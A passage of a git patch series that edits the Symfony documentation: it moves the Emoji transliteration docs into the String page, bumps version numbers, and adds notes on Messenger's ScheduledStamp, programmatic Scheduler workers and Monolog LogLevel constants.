$slug = 'un-chat-qui-sourit-chat-noir-et-un-tete-de-lion-vont-au-parc-national'; + +.. tip:: + + Integrating the Emoji Component with the String component is straightforward and requires no additional + configuration.string. + +Removing Emojis +--------------- + +The ``EmojiTransliterator`` can also be used to remove all emojis from a string, via the +special ``strip`` locale:: + + use Symfony\Component\Emoji\EmojiTransliterator; + + $transliterator = EmojiTransliterator::create('strip'); + $transliterator->transliterate('🎉Hey!🥳 🎁Happy Birthday!🎁'); + // => 'Hey! Happy Birthday!' + +Disk space +---------- + +The data needed to store the transliteration of all emojis (~5,000) into all +languages take a considerable disk space. + +If you need to save disk space (e.g. because you deploy to some service with tight +size constraints), run this command (e.g. as an automated script after ``composer install``) +to compress the internal Symfony emoji data files using the PHP ``zlib`` extension: + +.. code-block:: terminal + + # adjust the path to the 'compress' binary based on your application installation + $ php ./vendor/symfony/emoji/Resources/bin/compress + + +.. _`Unicode CLDR dataset`: https://github.com/unicode-org/cldr diff --git a/components/intl.rst b/components/intl.rst index bbd088c830e..768ea30903c 100644 --- a/components/intl.rst +++ b/components/intl.rst @@ -28,7 +28,6 @@ This component provides the following ICU data: * `Locales`_ * `Currencies`_ * `Timezones`_ -* `Emoji Transliteration`_ Language and Script Names ~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -386,56 +385,19 @@ to catching the exception, you can also check if a given timezone ID is valid:: Emoji Transliteration ~~~~~~~~~~~~~~~~~~~~~ -The ``EmojiTransliterator`` class provides a utility to translate emojis into -their textual representation in all languages based on the `Unicode CLDR dataset`_:: +.. note:: - use Symfony\Component\Intl\Transliterator\EmojiTransliterator; + The ``EmojiTransliterator`` class provides a utility to translate emojis into + their textual representation in all languages based on the Unicode CLDR dataset. - // describe emojis in English - $transliterator = EmojiTransliterator::create('en'); - $transliterator->transliterate('Menus with 🍕 or 🍝'); - // => 'Menus with pizza or spaghetti' +Discover all the available Emoji manipulations in the :doc:`component documentation </components/emoji>`. - // describe emojis in Ukrainian - $transliterator = EmojiTransliterator::create('uk'); - $transliterator->transliterate('Menus with 🍕 or 🍝'); - // => 'Menus with піца or спагеті' - -The ``EmojiTransliterator`` class also provides two extra catalogues: ``github`` -and ``slack`` that converts any emojis to the corresponding short code in those -platforms:: - - use Symfony\Component\Intl\Transliterator\EmojiTransliterator; - - // describe emojis in Slack short code - $transliterator = EmojiTransliterator::create('slack'); - $transliterator->transliterate('Menus with 🥗 or 🧆'); - // => 'Menus with :green_salad: or :falafel:' - - // describe emojis in Github short code - $transliterator = EmojiTransliterator::create('github'); - $transliterator->transliterate('Menus with 🥗 or 🧆'); - // => 'Menus with :green_salad: or :falafel:' - -Furthermore the ``EmojiTransliterator`` provides a special ``strip`` locale -that removes all the emojis from a string:: - - use Symfony\Component\Intl\Transliterator\EmojiTransliterator; - - $transliterator = EmojiTransliterator::create('strip'); - $transliterator->transliterate('🎉Hey!🥳 🎁Happy Birthday!🎁'); - // => 'Hey! Happy Birthday!' - -.. tip:: - - Combine this emoji transliterator with the :ref:`Symfony String slugger <string-slugger-emoji>` - to improve the slugs of contents that include emojis (e.g. for URLs). +Disk space +---------- -The data needed to store the transliteration of all emojis (~5,000) into all -languages take a considerable disk space. If you need to save disk space (e.g. -because you deploy to some service with tight size constraints), run this command -(e.g. as an automated script after ``composer install``) to compress the internal -Symfony emoji data files using the PHP ``zlib`` extension: +If you need to save disk space (e.g. because you deploy to some service with tight size +constraints), run this command (e.g. as an automated script after ``composer install``) to compress the +internal Symfony Intl data files using the PHP ``zlib`` extension: .. code-block:: terminal @@ -464,4 +426,3 @@ Learn more .. _`daylight saving time (DST)`: https://en.wikipedia.org/wiki/Daylight_saving_time .. _`ISO 639-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_639-1 .. _`ISO 639-2 alpha-3 (2T)`: https://en.wikipedia.org/wiki/ISO_639-2 -.. _`Unicode CLDR dataset`: https://github.com/unicode-org/cldr From 9333df7a418202a9efb4e4cc62bc2698bf13aaa9 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 11 Mar 2024 10:51:49 +0100 Subject: [PATCH 019/615] Reorganize the Emoji component contents --- components/emoji.rst | 122 ------------------------------------------ components/string.rst | 99 +++++++++++++++++++++++++++++++++- 2 files changed, 98 insertions(+), 123 deletions(-) delete mode 100644 components/emoji.rst diff --git a/components/emoji.rst b/components/emoji.rst deleted file mode 100644 index b3f725a2585..00000000000 --- a/components/emoji.rst +++ /dev/null @@ -1,122 +0,0 @@ -The Emoji Component -=================== - - The Emoji component provides utilities to work with emoji characters and - sequences from the `Unicode CLDR dataset`_. - -Installation ------------- - -.. code-block:: terminal - - $ composer require symfony/emoji - -.. include:: /components/require_autoload.rst.inc - - -Emoji Transliteration ---------------------- - -The ``EmojiTransliterator`` class offers a way to translate emojis into their -textual representation in all languages based on the `Unicode CLDR dataset`_:: - - use Symfony\Component\Emoji\EmojiTransliterator; - - // Describe emojis in English - $transliterator = EmojiTransliterator::create('en'); - $transliterator->transliterate('Menus with 🍕 or 🍝'); - // => 'Menus with pizza or spaghetti' - - // Describe emojis in Ukrainian - $transliterator = EmojiTransliterator::create('uk'); - $transliterator->transliterate('Menus with 🍕 or 🍝'); - // => 'Menus with піца or спагеті' - - -The ``EmojiTransliterator`` also provides special locales that convert emojis to -short codes and vice versa in specific platforms, such as GitHub and Slack. - -GitHub -~~~~~~ - -Convert GitHub emojis to short codes with the ``emoji-github`` locale:: - - $transliterator = EmojiTransliterator::create('emoji-github'); - $transliterator->transliterate('Teenage 🐢 really love 🍕'); - // => 'Teenage :turtle: really love :pizza:' - -Convert GitHub short codes to emojis with the ``github-emoji`` locale:: - - $transliterator = EmojiTransliterator::create('github-emoji'); - $transliterator->transliterate('Teenage :turtle: really love :pizza:'); - // => 'Teenage 🐢 really love 🍕' - -Slack -~~~~~ - -Convert Slack emojis to short codes with the ``emoji-slack`` locale:: - - $transliterator = EmojiTransliterator::create('emoji-slack'); - $transliterator->transliterate('Menus with 🥗 or 🧆'); - // => 'Menus with :green_salad: or :falafel:' - -Convert Slack short codes to emojis with the ``slack-emoji`` locale:: - - $transliterator = EmojiTransliterator::create('slack-emoji'); - $transliterator->transliterate('Menus with :green_salad: or :falafel:'); - // => 'Menus with 🥗 or 🧆' - - -Emoji Slugger -------------- - -Combine the emoji transliterator with the :doc:`/components/string` -to improve the slugs of contents that include emojis (e.g. for URLs). - -Call the ``AsciiSlugger::withEmoji()`` method to enable the emoji transliterator in the Slugger:: - - use Symfony\Component\String\Slugger\AsciiSlugger; - - $slugger = new AsciiSlugger(); - $slugger = $slugger->withEmoji(); - - $slug = $slugger->slug('a 😺, 🐈⬛, and a 🦁 go to 🏞️', '-', 'en'); - // $slug = 'a-grinning-cat-black-cat-and-a-lion-go-to-national-park'; - - $slug = $slugger->slug('un 😺, 🐈⬛, et un 🦁 vont au 🏞️', '-', 'fr'); - // $slug = 'un-chat-qui-sourit-chat-noir-et-un-tete-de-lion-vont-au-parc-national'; - -.. tip:: - - Integrating the Emoji Component with the String component is straightforward and requires no additional - configuration.string. - -Removing Emojis ---------------- - -The ``EmojiTransliterator`` can also be used to remove all emojis from a string, via the -special ``strip`` locale:: - - use Symfony\Component\Emoji\EmojiTransliterator; - - $transliterator = EmojiTransliterator::create('strip'); - $transliterator->transliterate('🎉Hey!🥳 🎁Happy Birthday!🎁'); - // => 'Hey! Happy Birthday!' - -Disk space ----------- - -The data needed to store the transliteration of all emojis (~5,000) into all -languages take a considerable disk space. - -If you need to save disk space (e.g. because you deploy to some service with tight -size constraints), run this command (e.g. as an automated script after ``composer install``) -to compress the internal Symfony emoji data files using the PHP ``zlib`` extension: - -.. code-block:: terminal - - # adjust the path to the 'compress' binary based on your application installation - $ php ./vendor/symfony/emoji/Resources/bin/compress - - -.. _`Unicode CLDR dataset`: https://github.com/unicode-org/cldr diff --git a/components/string.rst b/components/string.rst index 68362ed8654..08870881541 100644 --- a/components/string.rst +++ b/components/string.rst @@ -507,6 +507,101 @@ requested during the program execution. You can also create lazy strings from a // hash computation only if it's needed $lazyHash = LazyString::fromStringable(new Hash()); +Working with Emojis +------------------- + +.. versionadded:: 7.1 + + The emoji component was introduced in Symfony 7.1. + +Symfony provides several utilities to work with emoji characters and sequences +from the `Unicode CLDR dataset`_. They are available via the Emoji component, +which you must first install in your application: + +.. code-block:: terminal + + $ composer require symfony/emoji + +The data needed to store the transliteration of all emojis (~5,000) into all +languages take a considerable disk space. + +If you need to save disk space (e.g. because you deploy to some service with tight +size constraints), run this command (e.g. as an automated script after ``composer install``) +to compress the internal Symfony emoji data files using the PHP ``zlib`` extension: + +.. code-block:: terminal + + # adjust the path to the 'compress' binary based on your application installation + $ php ./vendor/symfony/emoji/Resources/bin/compress + +.. _string-emoji-transliteration: + +Emoji Transliteration +~~~~~~~~~~~~~~~~~~~~~ + +The ``EmojiTransliterator`` class offers a way to translate emojis into their +textual representation in all languages based on the `Unicode CLDR dataset`_:: + + use Symfony\Component\Emoji\EmojiTransliterator; + + // Describe emojis in English + $transliterator = EmojiTransliterator::create('en'); + $transliterator->transliterate('Menus with 🍕 or 🍝'); + // => 'Menus with pizza or spaghetti' + + // Describe emojis in Ukrainian + $transliterator = EmojiTransliterator::create('uk'); + $transliterator->transliterate('Menus with 🍕 or 🍝'); + // => 'Menus with піца or спагеті' + + +The ``EmojiTransliterator`` also provides special locales that convert emojis to +short codes and vice versa in specific platforms, such as GitHub and Slack. + +GitHub Emoji Transliteration +............................ + +Convert GitHub emojis to short codes with the ``emoji-github`` locale:: + + $transliterator = EmojiTransliterator::create('emoji-github'); + $transliterator->transliterate('Teenage 🐢 really love 🍕'); + // => 'Teenage :turtle: really love :pizza:' + +Convert GitHub short codes to emojis with the ``github-emoji`` locale:: + + $transliterator = EmojiTransliterator::create('github-emoji'); + $transliterator->transliterate('Teenage :turtle: really love :pizza:'); + // => 'Teenage 🐢 really love 🍕' + +Slack Emoji Transliteration +........................... + +Convert Slack emojis to short codes with the ``emoji-slack`` locale:: + + $transliterator = EmojiTransliterator::create('emoji-slack'); + $transliterator->transliterate('Menus with 🥗 or 🧆'); + // => 'Menus with :green_salad: or :falafel:' + +Convert Slack short codes to emojis with the ``slack-emoji`` locale:: + + $transliterator = EmojiTransliterator::create('slack-emoji'); + $transliterator->transliterate('Menus with :green_salad: or :falafel:'); + // => 'Menus with 🥗 or 🧆' + +Removing Emojis +~~~~~~~~~~~~~~~ + +The ``EmojiTransliterator`` can also be used to remove all emojis from a string, +via the special ``strip`` locale:: + + use Symfony\Component\Emoji\EmojiTransliterator; + + $transliterator = EmojiTransliterator::create('strip'); + $transliterator->transliterate('🎉Hey!🥳 🎁Happy Birthday!🎁'); + // => 'Hey! Happy Birthday!' + +.. _string-slugger: + Slugger ------- @@ -579,7 +674,8 @@ the injected slugger is the same as the request locale:: Slug Emojis ~~~~~~~~~~~ -You can transform any emojis into their textual representation:: +You can also combine the :ref:`emoji transliterator <string-emoji-transliteration>` +with the slugger to transform any emojis into their textual representation:: use Symfony\Component\String\Slugger\AsciiSlugger; @@ -648,3 +744,4 @@ possible to determine a unique singular/plural form for the given word. .. _`Code points`: https://en.wikipedia.org/wiki/Code_point .. _`Grapheme clusters`: https://en.wikipedia.org/wiki/Grapheme .. _`Unicode equivalence`: https://en.wikipedia.org/wiki/Unicode_equivalence +.. _`Unicode CLDR dataset`: https://github.com/unicode-org/cldr From 9de3da7d84231fb3eebc9aa8a2c2b3b0ebaf11a7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20Pillevesse?= <aurelienpillevesse@hotmail.fr> Date: Mon, 11 Mar 2024 13:13:30 +0100 Subject: [PATCH 020/615] Update setup.rst --- setup.rst | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/setup.rst b/setup.rst index 6ed508d771b..90a89e78e8a 100644 --- a/setup.rst +++ b/setup.rst @@ -48,10 +48,10 @@ application: .. code-block:: terminal # run this if you are building a traditional web application - $ symfony new my_project_directory --version="7.0.*" --webapp + $ symfony new my_project_directory --version="7.1.*" --webapp # run this if you are building a microservice, console application or API - $ symfony new my_project_directory --version="7.0.*" + $ symfony new my_project_directory --version="7.1.*" The only difference between these two commands is the number of packages installed by default. The ``--webapp`` option installs extra packages to give @@ -63,12 +63,12 @@ Symfony application using Composer: .. code-block:: terminal # run this if you are building a traditional web application - $ composer create-project symfony/skeleton:"7.0.*" my_project_directory + $ composer create-project symfony/skeleton:"7.1.*" my_project_directory $ cd my_project_directory $ composer require webapp # run this if you are building a microservice, console application or API - $ composer create-project symfony/skeleton:"7.0.*" my_project_directory + $ composer create-project symfony/skeleton:"7.1.*" my_project_directory No matter which command you run to create the Symfony application. All of them will create a new ``my_project_directory/`` directory, download some dependencies From 46a9a052c2455ee6290693daf2f7f6d5702fc53c Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Mon, 11 Mar 2024 13:44:36 +0100 Subject: [PATCH 021/615] fix build --- components/intl.rst | 2 +- components/string.rst | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/components/intl.rst b/components/intl.rst index 768ea30903c..0cf99591369 100644 --- a/components/intl.rst +++ b/components/intl.rst @@ -390,7 +390,7 @@ Emoji Transliteration The ``EmojiTransliterator`` class provides a utility to translate emojis into their textual representation in all languages based on the Unicode CLDR dataset. -Discover all the available Emoji manipulations in the :doc:`component documentation </components/emoji>`. +Discover all the available Emoji manipulations in the :ref:`component documentation <working-with-emojis>`. Disk space ---------- diff --git a/components/string.rst b/components/string.rst index 08870881541..56af5719170 100644 --- a/components/string.rst +++ b/components/string.rst @@ -507,6 +507,8 @@ requested during the program execution. You can also create lazy strings from a // hash computation only if it's needed $lazyHash = LazyString::fromStringable(new Hash()); +.. _working-with-emojis: + Working with Emojis ------------------- From f75e43710f5bf1239e7a42e4475b9e0e2b299965 Mon Sep 17 00:00:00 2001 From: Michael Hirschler <michael@hirschler.me> Date: Mon, 11 Mar 2024 15:07:54 +0100 Subject: [PATCH 022/615] adds hint of return value --- security/ldap.rst | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/security/ldap.rst b/security/ldap.rst index e6bb8d6351b..7e33eb10fb7 100644 --- a/security/ldap.rst +++ b/security/ldap.rst @@ -197,6 +197,12 @@ use the ``ldap`` user provider. ; }; +.. versionadded:: 5.4 + + `LdapUser::getExtraFields()` always returns an array of values. Prior + `LdapUserProvider` threw and `InvalidArgumentException` on multiple + attributes. + .. caution:: The Security component escapes provided input data when the LDAP user From e0910915ed97a438f9d284d4a88cd2af0730ddca Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20Pillevesse?= <aurelienpillevesse@hotmail.fr> Date: Mon, 11 Mar 2024 17:59:09 +0100 Subject: [PATCH 023/615] Update build.php --- _build/build.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_build/build.php b/_build/build.php index be2fb062a77..454553d459e 100755 --- a/_build/build.php +++ b/_build/build.php @@ -20,7 +20,7 @@ $outputDir = __DIR__.'/output'; $buildConfig = (new BuildConfig()) - ->setSymfonyVersion('5.4') + ->setSymfonyVersion('6.4') ->setContentDir(__DIR__.'/..') ->setOutputDir($outputDir) ->setImagesDir(__DIR__.'/output/_images') From 7040512e84182f28aa95abf3bce4ca058ddd65ec Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 12 Mar 2024 09:36:00 +0100 Subject: [PATCH 024/615] Update build.php --- _build/build.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_build/build.php b/_build/build.php index 454553d459e..6a1ac4642f0 100755 --- a/_build/build.php +++ b/_build/build.php @@ -20,7 +20,7 @@ $outputDir = __DIR__.'/output'; $buildConfig = (new BuildConfig()) - ->setSymfonyVersion('6.4') + ->setSymfonyVersion('7.0') ->setContentDir(__DIR__.'/..') ->setOutputDir($outputDir) ->setImagesDir(__DIR__.'/output/_images') From ef3b01df3ce14ac49ca90d961f300a9463c863fb Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 12 Mar 2024 09:37:21 +0100 Subject: [PATCH 025/615] Update build.php --- _build/build.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_build/build.php b/_build/build.php index 6a1ac4642f0..5298abe779a 100755 --- a/_build/build.php +++ b/_build/build.php @@ -20,7 +20,7 @@ $outputDir = __DIR__.'/output'; $buildConfig = (new BuildConfig()) - ->setSymfonyVersion('7.0') + ->setSymfonyVersion('7.1') ->setContentDir(__DIR__.'/..') ->setOutputDir($outputDir) ->setImagesDir(__DIR__.'/output/_images') From 67807816bdb485ca2d0556231eaa4d2f3a2748d2 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 12 Mar 2024 09:51:22 +0100 Subject: [PATCH 026/615] Minor reword --- controller.rst | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/controller.rst b/controller.rst index 6bd1b4184da..7a3e7aec0f2 100644 --- a/controller.rst +++ b/controller.rst @@ -451,8 +451,8 @@ HTTP status to return if the validation fails:: The default status code returned if the validation fails is 404. -If the request query string is empty and if you still need to have a valid DTO, you can -define a default value in your controller method:: +If you need a valid DTO even when the request query string is empty, set a +default value for your controller arguments:: use App\Model\UserDto; use Symfony\Component\HttpFoundation\Response; @@ -467,8 +467,6 @@ define a default value in your controller method:: // ... } -In this case your DTO should have default values. - .. versionadded:: 6.3 The :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryString` attribute From 037dd187a02c2d99252e54c5f3c284ebcb399b79 Mon Sep 17 00:00:00 2001 From: Alexandre Daubois <alex.daubois@gmail.com> Date: Tue, 12 Mar 2024 10:21:37 +0100 Subject: [PATCH 027/615] [Messenger] Mention `ScheduledStamp` --- components/messenger.rst | 9 +++++++++ scheduler.rst | 9 +++++++++ 2 files changed, 18 insertions(+) diff --git a/components/messenger.rst b/components/messenger.rst index 7f430b55c90..e5981bbd67c 100644 --- a/components/messenger.rst +++ b/components/messenger.rst @@ -162,6 +162,15 @@ Here are some important envelope stamps that are shipped with the Symfony Messen to configure the validation groups used when the validation middleware is enabled. * :class:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp`, an internal stamp when a message fails due to an exception in the handler. +* :class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp`, + a stamp that marks the message as produced by a scheduler. You can learn + more about it in the :doc:`Scheduler component page </scheduler>`. This helps + differentiate from messages created "manually". + +.. versionadded:: 6.4 + + The :class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp` was + introduced in Symfony 6.4. .. note:: diff --git a/scheduler.rst b/scheduler.rst index e824c0af5a5..ee79ea4fbe1 100644 --- a/scheduler.rst +++ b/scheduler.rst @@ -914,6 +914,15 @@ before being further redispatched to its corresponding handler:: } } +When using the ``RedispatchMessage``, a +:class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp` will be attached +to the message, helping you identify those messages when needed. + +.. versionadded:: 6.4 + + Automatically attaching a :class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp` + to redispatched messages was introduced in Symfony 6.4. + .. _`Memoizing`: https://en.wikipedia.org/wiki/Memoization .. _`cron command-line utility`: https://en.wikipedia.org/wiki/Cron .. _`crontab.guru website`: https://crontab.guru/ From e03649f82d3ad7add276a05aa6f1d5156472c35f Mon Sep 17 00:00:00 2001 From: Alexandre Daubois <alex.daubois@gmail.com> Date: Tue, 12 Mar 2024 10:33:34 +0100 Subject: [PATCH 028/615] [Scheduler] Mention `Scheduler` worker --- scheduler.rst | 52 +++++++++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 50 insertions(+), 2 deletions(-) diff --git a/scheduler.rst b/scheduler.rst index e824c0af5a5..b6744f01cad 100644 --- a/scheduler.rst +++ b/scheduler.rst @@ -782,8 +782,17 @@ and their priorities: The ``PreRunEvent``, ``PostRunEvent`` and ``FailureEvent`` events were introduced in Symfony 6.4. -Consuming Messages (Running the Worker) ---------------------------------------- +Consuming Messages +------------------ + +The Scheduler component offers two ways to consume messages, depending on your +needs: using the ``messenger:consume`` command or creating a worker programmatically. +The first solution is the recommended one when using the Scheduler component in +the context of a full stack Symfony application, the second one is more suitable +when using the Scheduler component as a standalone component. + +Running a Worker +~~~~~~~~~~~~~~~~ After defining and attaching your recurring messages to a schedule, you'll need a mechanism to generate and consume the messages according to their defined frequencies. @@ -800,6 +809,45 @@ the Messenger component: .. image:: /_images/components/scheduler/generate_consume.png :alt: Symfony Scheduler - generate and consume +Creating a Consumer Programmatically +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +An alternative to the previous solution is to create and call a worker that +will consume the messages. The component comes with a ready-to-use worker +named :class:`Symfony\\Component\\Scheduler\\Scheduler` that you can use in your +code:: + + use Symfony\Component\Scheduler\Scheduler; + + $schedule = (new Schedule()) + ->with( + RecurringMessage::trigger( + new ExcludeHolidaysTrigger( + CronExpressionTrigger::fromSpec('@daily'), + ), + new SendDailySalesReports() + ), + ); + + $scheduler = new Scheduler(handlers: [ + SendDailySalesReports::class => new SendDailySalesReportsHandler(), + // add more handlers if you have more message types + ], schedules: [ + $schedule, + // the scheduler can take as many schedules as you need + ]); + + // finally, run the scheduler once it's ready + $scheduler->run(); + +.. note:: + + The :class:`Symfony\\Component\\Scheduler\\Scheduler` may be used + when using the Scheduler component as a standalone component. If + you are using it in the Framework context, it is highly recommended to + use the ``messenger:consume`` command as explained in the previous + section. + Debugging the Schedule ---------------------- From f2f380d676a15bbc3e3af1619dc46c076fe976f8 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Wed, 13 Mar 2024 09:24:41 +0100 Subject: [PATCH 029/615] Minor tweak --- security/ldap.rst | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/security/ldap.rst b/security/ldap.rst index 7e33eb10fb7..39cf26081c7 100644 --- a/security/ldap.rst +++ b/security/ldap.rst @@ -199,9 +199,9 @@ use the ``ldap`` user provider. .. versionadded:: 5.4 - `LdapUser::getExtraFields()` always returns an array of values. Prior - `LdapUserProvider` threw and `InvalidArgumentException` on multiple - attributes. + The ``LdapUser::getExtraFields()`` method always returns an array of values. + In prior Symfony versions, ``LdapUserProvider`` threw an ``InvalidArgumentException`` + on multiple attributes. .. caution:: From 05e86b4b41faf5e4d5bb7a8260b940e5f737abcf Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Wed, 13 Mar 2024 09:25:39 +0100 Subject: [PATCH 030/615] Remove a versionadded directive --- security/ldap.rst | 6 ------ 1 file changed, 6 deletions(-) diff --git a/security/ldap.rst b/security/ldap.rst index 88fcc9febde..307d9996c9b 100644 --- a/security/ldap.rst +++ b/security/ldap.rst @@ -197,12 +197,6 @@ use the ``ldap`` user provider. ; }; -.. versionadded:: 5.4 - - The ``LdapUser::getExtraFields()`` method always returns an array of values. - In prior Symfony versions, ``LdapUserProvider`` threw an ``InvalidArgumentException`` - on multiple attributes. - .. caution:: The Security component escapes provided input data when the LDAP user From d4aed270931877b2fa5f008294c821a2593aa38b Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Wed, 13 Mar 2024 10:24:17 +0100 Subject: [PATCH 031/615] [String] Reorganize String component contents --- _build/redirection_map | 3 ++- components/intl.rst | 9 +++------ components/string.rst => string.rst | 14 ++++++++------ 3 files changed, 13 insertions(+), 13 deletions(-) rename components/string.rst => string.rst (98%) diff --git a/_build/redirection_map b/_build/redirection_map index 3b845d59ffe..34f3b7d166b 100644 --- a/_build/redirection_map +++ b/_build/redirection_map @@ -529,7 +529,7 @@ /components/serializer#component-serializer-attributes-groups-annotations /components/serializer#component-serializer-attributes-groups-attributes /logging/monolog_regex_based_excludes /logging/monolog_exclude_http_codes /security/named_encoders /security/named_hashers -/components/inflector /components/string#inflector +/components/inflector /string#inflector /security/experimental_authenticators /security /security/user_provider /security/user_providers /security/reset_password /security/passwords#reset-password @@ -566,3 +566,4 @@ /messenger/handler_results /messenger#messenger-getting-handler-results /messenger/dispatch_after_current_bus /messenger#messenger-transactional-messages /messenger/multiple_buses /messenger#messenger-multiple-buses +/components/string /string diff --git a/components/intl.rst b/components/intl.rst index 0cf99591369..d18ac21b10a 100644 --- a/components/intl.rst +++ b/components/intl.rst @@ -385,12 +385,9 @@ to catching the exception, you can also check if a given timezone ID is valid:: Emoji Transliteration ~~~~~~~~~~~~~~~~~~~~~ -.. note:: - - The ``EmojiTransliterator`` class provides a utility to translate emojis into - their textual representation in all languages based on the Unicode CLDR dataset. - -Discover all the available Emoji manipulations in the :ref:`component documentation <working-with-emojis>`. +Symfony provides utilities to translate emojis into their textual representation +in all languages. Read the documentation on :ref:`working with emojis in strings <string-emoji-transliteration>` +to learn more about this feature. Disk space ---------- diff --git a/components/string.rst b/string.rst similarity index 98% rename from components/string.rst rename to string.rst index 56af5719170..62336e461cf 100644 --- a/components/string.rst +++ b/string.rst @@ -1,11 +1,11 @@ -The String Component -==================== +Creating and Manipulating Strings +================================= - The String component provides a single object-oriented API to work with - three "unit systems" of strings: bytes, code points and grapheme clusters. +Symfony provides an object-oriented API to work with Unicode strings (as bytes, +code points and grapheme clusters). This API is available via the String component, +which you must first install in your application: -Installation ------------- +.. _installation: .. code-block:: terminal @@ -524,6 +524,8 @@ which you must first install in your application: $ composer require symfony/emoji +.. include:: /components/require_autoload.rst.inc + The data needed to store the transliteration of all emojis (~5,000) into all languages take a considerable disk space. From 776f1d4de788196a5758ffe2fd67ce7642560dc7 Mon Sep 17 00:00:00 2001 From: Thomas Landauer <thomas@landauer.at> Date: Wed, 13 Mar 2024 14:04:47 +0100 Subject: [PATCH 032/615] [Logger] Using LogLevel `const`s Page: https://symfony.com/doc/5.x/logging.html If you agree, I'll replace the remaining occurrences. --- logging.rst | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/logging.rst b/logging.rst index c546701f78d..8b26cda9796 100644 --- a/logging.rst +++ b/logging.rst @@ -154,6 +154,7 @@ to write logs using the :phpfunction:`syslog` function: .. code-block:: php // config/packages/prod/monolog.php + use Psr\Log\LogLevel; use Symfony\Config\MonologConfig; return static function (MonologConfig $monolog) { @@ -163,12 +164,12 @@ to write logs using the :phpfunction:`syslog` function: // log to var/logs/(environment).log ->path('%kernel.logs_dir%/%kernel.environment%.log') // log *all* messages (debug is lowest level) - ->level('debug'); + ->level(LogLevel::DEBUG); $monolog->handler('syslog_handler') ->type('syslog') // log error-level messages and higher - ->level('error'); + ->level(LogLevel::ERROR); }; This defines a *stack* of handlers and each handler is called in the order that it's From cf292480cb1776f0ad88351dc3aed12bfc8ebb59 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 14 Mar 2024 16:19:36 +0100 Subject: [PATCH 033/615] Minor tweaks --- components/messenger.rst | 6 +++--- scheduler.rst | 6 +++--- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/components/messenger.rst b/components/messenger.rst index e5981bbd67c..8ec25d2c75f 100644 --- a/components/messenger.rst +++ b/components/messenger.rst @@ -163,9 +163,9 @@ Here are some important envelope stamps that are shipped with the Symfony Messen * :class:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp`, an internal stamp when a message fails due to an exception in the handler. * :class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp`, - a stamp that marks the message as produced by a scheduler. You can learn - more about it in the :doc:`Scheduler component page </scheduler>`. This helps - differentiate from messages created "manually". + a stamp that marks the message as produced by a scheduler. This helps + differentiate it from messages created "manually". You can learn more about it + in the :doc:`Scheduler documentation </scheduler>`. .. versionadded:: 6.4 diff --git a/scheduler.rst b/scheduler.rst index ee79ea4fbe1..185fe7d182a 100644 --- a/scheduler.rst +++ b/scheduler.rst @@ -914,9 +914,9 @@ before being further redispatched to its corresponding handler:: } } -When using the ``RedispatchMessage``, a -:class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp` will be attached -to the message, helping you identify those messages when needed. +When using the ``RedispatchMessage``, Symfony will attach a +:class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp` to the message, +helping you identify those messages when needed. .. versionadded:: 6.4 From 670b70ee456e7154d811d92bfabbd2fa7c2bbae0 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 14 Mar 2024 16:21:05 +0100 Subject: [PATCH 034/615] Remove some versionadded directives --- components/messenger.rst | 5 ----- scheduler.rst | 5 ----- 2 files changed, 10 deletions(-) diff --git a/components/messenger.rst b/components/messenger.rst index 8ec25d2c75f..a1c1e709e00 100644 --- a/components/messenger.rst +++ b/components/messenger.rst @@ -167,11 +167,6 @@ Here are some important envelope stamps that are shipped with the Symfony Messen differentiate it from messages created "manually". You can learn more about it in the :doc:`Scheduler documentation </scheduler>`. -.. versionadded:: 6.4 - - The :class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp` was - introduced in Symfony 6.4. - .. note:: The :class:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp` stamp diff --git a/scheduler.rst b/scheduler.rst index 7a21d06ea9b..16346b4f566 100644 --- a/scheduler.rst +++ b/scheduler.rst @@ -885,11 +885,6 @@ When using the ``RedispatchMessage``, Symfony will attach a :class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp` to the message, helping you identify those messages when needed. -.. versionadded:: 6.4 - - Automatically attaching a 